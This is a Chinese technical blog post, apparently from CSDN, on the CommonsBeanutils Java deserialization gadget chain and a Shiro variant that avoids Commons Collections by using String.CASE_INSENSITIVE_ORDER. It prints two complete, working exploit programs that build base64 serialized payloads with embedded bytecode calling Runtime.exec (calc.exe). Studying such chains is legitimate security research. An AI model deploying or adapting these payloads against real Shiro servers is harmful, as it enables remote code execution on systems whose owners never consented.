• cbu和无cc的shiro反序列化


    前置知识

    学习CommonsBeanutils之前应该知道

    1. javaBean,可以看《Java简单特性》也可以看这里
    2. 有关BeanComparator的介绍
    3. TemplatesImpl gadget,前两个方法是public
    1. TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
    2. -> TransletClassLoader#defineClass()

    cbu链原理

    BeanComparator()用于比较两个Java Bean,当property不存在的时候会调用PropertyUtils.getProperty去获取JavaBean的属性,也就是执行getter

    恰巧TemplatesImpl#getOutputProperties符合getter的命名规则

    Gadget

    1. Gadget chain:
    2. ObjectInputStream.readObject()
    3. PriorityQueue.readObject()
    4. PriorityQueue.heapify()
    5. PriorityQueue.siftDown()
    6. siftDownUsingComparator()
    7. BeanComparator.compare()
    8. TemplatesImpl.getOutputProperties()
    9. TemplatesImpl.newTransformer()
    10. TemplatesImpl.getTransletInstance()
    11. TemplatesImpl.defineTransletClasses()
    12. TemplatesImpl.TransletClassLoader.defineClass()
    13. Runtime.exec()

    Poc

    1. import java.io.ByteArrayInputStream;
    2. import java.io.ByteArrayOutputStream;
    3. import java.io.ObjectInputStream;
    4. import java.io.ObjectOutputStream;
    5. import java.lang.reflect.Field;
    6. import java.util.Base64;
    7. import java.util.PriorityQueue;
    8. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    9. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    10. import javassist.ClassPool;
    11. import org.apache.commons.beanutils.BeanComparator;
    12. public class CommonsBeanutils1 {
    13. public static void main(String[] args) throws Exception {
    14. String base64encodedString = Base64.getEncoder().encodeToString(getpayload());
    15. System.out.println(base64encodedString);
    16. }
    17. public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
    18. Field field = obj.getClass().getDeclaredField(fieldName);
    19. field.setAccessible(true);
    20. field.set(obj, value);
    21. }
    22. public static byte[] getpayload() throws Exception {
    23. byte[] code = Base64.getDecoder().decode("yv66vgAAADQANQoACwAaCQAbABwIAB0KAB4AHwoAIAAhCAAiCgAgACMHACQKAAgAJQcAJgcAJwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAoAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEADVN0YWNrTWFwVGFibGUHACYHACQBAApTb3VyY2VGaWxlAQAXSGVsbG9UZW1wbGF0ZXNJbXBsLmphdmEMABMAFAcAKQwAKgArAQATSGVsbG8gVGVtcGxhdGVzSW1wbAcALAwALQAuBwAvDAAwADEBAAhjYWxjLmV4ZQwAMgAzAQATamF2YS9pby9JT0V4Y2VwdGlvbgwANAAUAQASSGVsbG9UZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAKAAsAAAAAAAMAAQAMAA0AAgAOAAAAGQAAAAMAAAABsQAAAAEADwAAAAYAAQAAAAsAEAAAAAQAAQARAAEADAASAAIADgAAABkAAAAEAAAAAbEAAAABAA8AAAAGAAEAAAAMABAAAAAEAAEAEQABABMAFAABAA4AAABsAAIAAgAAAB4qtwABsgACEgO2AAS4AAUSBrYAB1enAAhMK7YACbEAAQAMABUAGAAIAAIADwAAAB4ABwAAAA8ABAAQAAwAEgAVABUAGAATABkAFAAdABYAFQAAABAAAv8AGAABBwAWAAEHABcEAAEAGAAAAAIAGQ==");
    24. TemplatesImpl obj = new TemplatesImpl();
    25. setFieldValue(obj, "_bytecodes", new byte[][]{code});
    26. setFieldValue(obj, "_name", "HelloTemplatesImpl");
    27. setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
    28. final BeanComparator comparator = new BeanComparator();
    29. final PriorityQueue queue = new PriorityQueue(2, comparator);
    30. // stub data for replacement later
    31. queue.add(1);
    32. queue.add(1);
    33. setFieldValue(comparator, "property", "outputProperties");
    34. setFieldValue(queue, "queue", new Object[]{obj, obj});
    35. ByteArrayOutputStream barr = new ByteArrayOutputStream();
    36. ObjectOutputStream oos = new ObjectOutputStream(barr);
    37. oos.writeObject(queue);
    38. oos.close();
    39. //本地触发测试
    40. System.out.println(barr);
    41. ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
    42. Object o = (Object)ois.readObject();
    43. return barr.toByteArray();
    44. }
    45. }
    46. Shiro反序列化遇到的困难

      • 本地生成payload的包和远程依赖的包版本不一导致serialVersionID不一致,反序列化失败

      • Shiro自带CommonsBeanutils,不依赖cc。但是Shiro反序列化需要cc

      虽然cbu本身依赖cc,但是Shiro中自带的cbu中的类不全,反序列化会失败

      no CC的Gadge

      org.apache.commons.collections.comparators.ComparableComparator在BeanComparator类的构造方法里面被用到,要解决没有cc的时候ClassNotFound的问题就需要替换这个ComparableComparator。

      因为ComparableComparator实现了Comparator接口,替换候选类需要满足:

      • 实现了java.util.Comparatorjava.io.Serializable接口
      • Java,shiro,cbu里面自带

      我们去看Comparator接口,看下哪些类实现了他:

      java.lang.String.CaseInsensitiveComparator:

      直接通过String.CASE_INSENSITIVE_ORDER就可以获得一个对象

      poc

      1. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
      2. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
      3. import org.apache.commons.beanutils.BeanComparator;
      4. import java.io.ByteArrayInputStream;
      5. import java.io.ByteArrayOutputStream;
      6. import java.io.ObjectInputStream;
      7. import java.io.ObjectOutputStream;
      8. import java.lang.reflect.Field;
      9. import java.util.Base64;
      10. import java.util.PriorityQueue;
      11. public class CommonsBeanutils1Shiro {
      12. public static void main(String[] args) throws Exception {
      13. String base64encodedString = Base64.getEncoder().encodeToString(getpayload());
      14. System.out.println(base64encodedString);
      15. }
      16. public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
      17. Field field = obj.getClass().getDeclaredField(fieldName);
      18. field.setAccessible(true);
      19. field.set(obj, value);
      20. }
      21. public static byte[] getpayload() throws Exception {
      22. byte[] code = Base64.getDecoder().decode("yv66vgAAADQANQoACwAaCQAbABwIAB0KAB4AHwoAIAAhCAAiCgAgACMHACQKAAgAJQcAJgcAJwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAoAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEADVN0YWNrTWFwVGFibGUHACYHACQBAApTb3VyY2VGaWxlAQAXSGVsbG9UZW1wbGF0ZXNJbXBsLmphdmEMABMAFAcAKQwAKgArAQATSGVsbG8gVGVtcGxhdGVzSW1wbAcALAwALQAuBwAvDAAwADEBAAhjYWxjLmV4ZQwAMgAzAQATamF2YS9pby9JT0V4Y2VwdGlvbgwANAAUAQASSGVsbG9UZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAKAAsAAAAAAAMAAQAMAA0AAgAOAAAAGQAAAAMAAAABsQAAAAEADwAAAAYAAQAAAAsAEAAAAAQAAQARAAEADAASAAIADgAAABkAAAAEAAAAAbEAAAABAA8AAAAGAAEAAAAMABAAAAAEAAEAEQABABMAFAABAA4AAABsAAIAAgAAAB4qtwABsgACEgO2AAS4AAUSBrYAB1enAAhMK7YACbEAAQAMABUAGAAIAAIADwAAAB4ABwAAAA8ABAAQAAwAEgAVABUAGAATABkAFAAdABYAFQAAABAAAv8AGAABBwAWAAEHABcEAAEAGAAAAAIAGQ==");
      23. TemplatesImpl obj = new TemplatesImpl();
      24. setFieldValue(obj, "_bytecodes", new byte[][]{code});
      25. setFieldValue(obj, "_name", "HelloTemplatesImpl");
      26. setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
      27. final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
      28. final PriorityQueue queue = new PriorityQueue(2, comparator);
      29. // stub data for replacement later
      30. queue.add("1");
      31. queue.add("1");
      32. setFieldValue(comparator, "property", "outputProperties");
      33. setFieldValue(queue, "queue", new Object[]{obj, obj});
      34. // 生成序列化字符串
      35. ByteArrayOutputStream barr = new ByteArrayOutputStream();
      36. ObjectOutputStream oos = new ObjectOutputStream(barr);
      37. oos.writeObject(queue);
      38. oos.close();
      39. // //本地触发测试
      40. // System.out.println(barr);
      41. // ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
      42. // Object o = (Object)ois.readObject();
      43. return barr.toByteArray();
      44. }
      45. }
      46. 相关阅读:
        Hive sql 行列转换(行转列,列转行)
        [SQL Server]数据库入门之多表查询
        H3C IPSec IKE野蛮模式
        zabbix监控部署keepalived高可用
        docker学习笔记(3)- 镜像
        【数据结构】二叉树相关OJ题
        MySQL体系-日志与MVCC(源码层面)
        登陆切换:将账号登陆切换为邮箱登录
        宝宝照片保存大法!一键制作照片书
        [附源码]SSM计算机毕业设计流浪动物救助网站JAVA
      47. 原文地址:https://blog.csdn.net/why811/article/details/133904607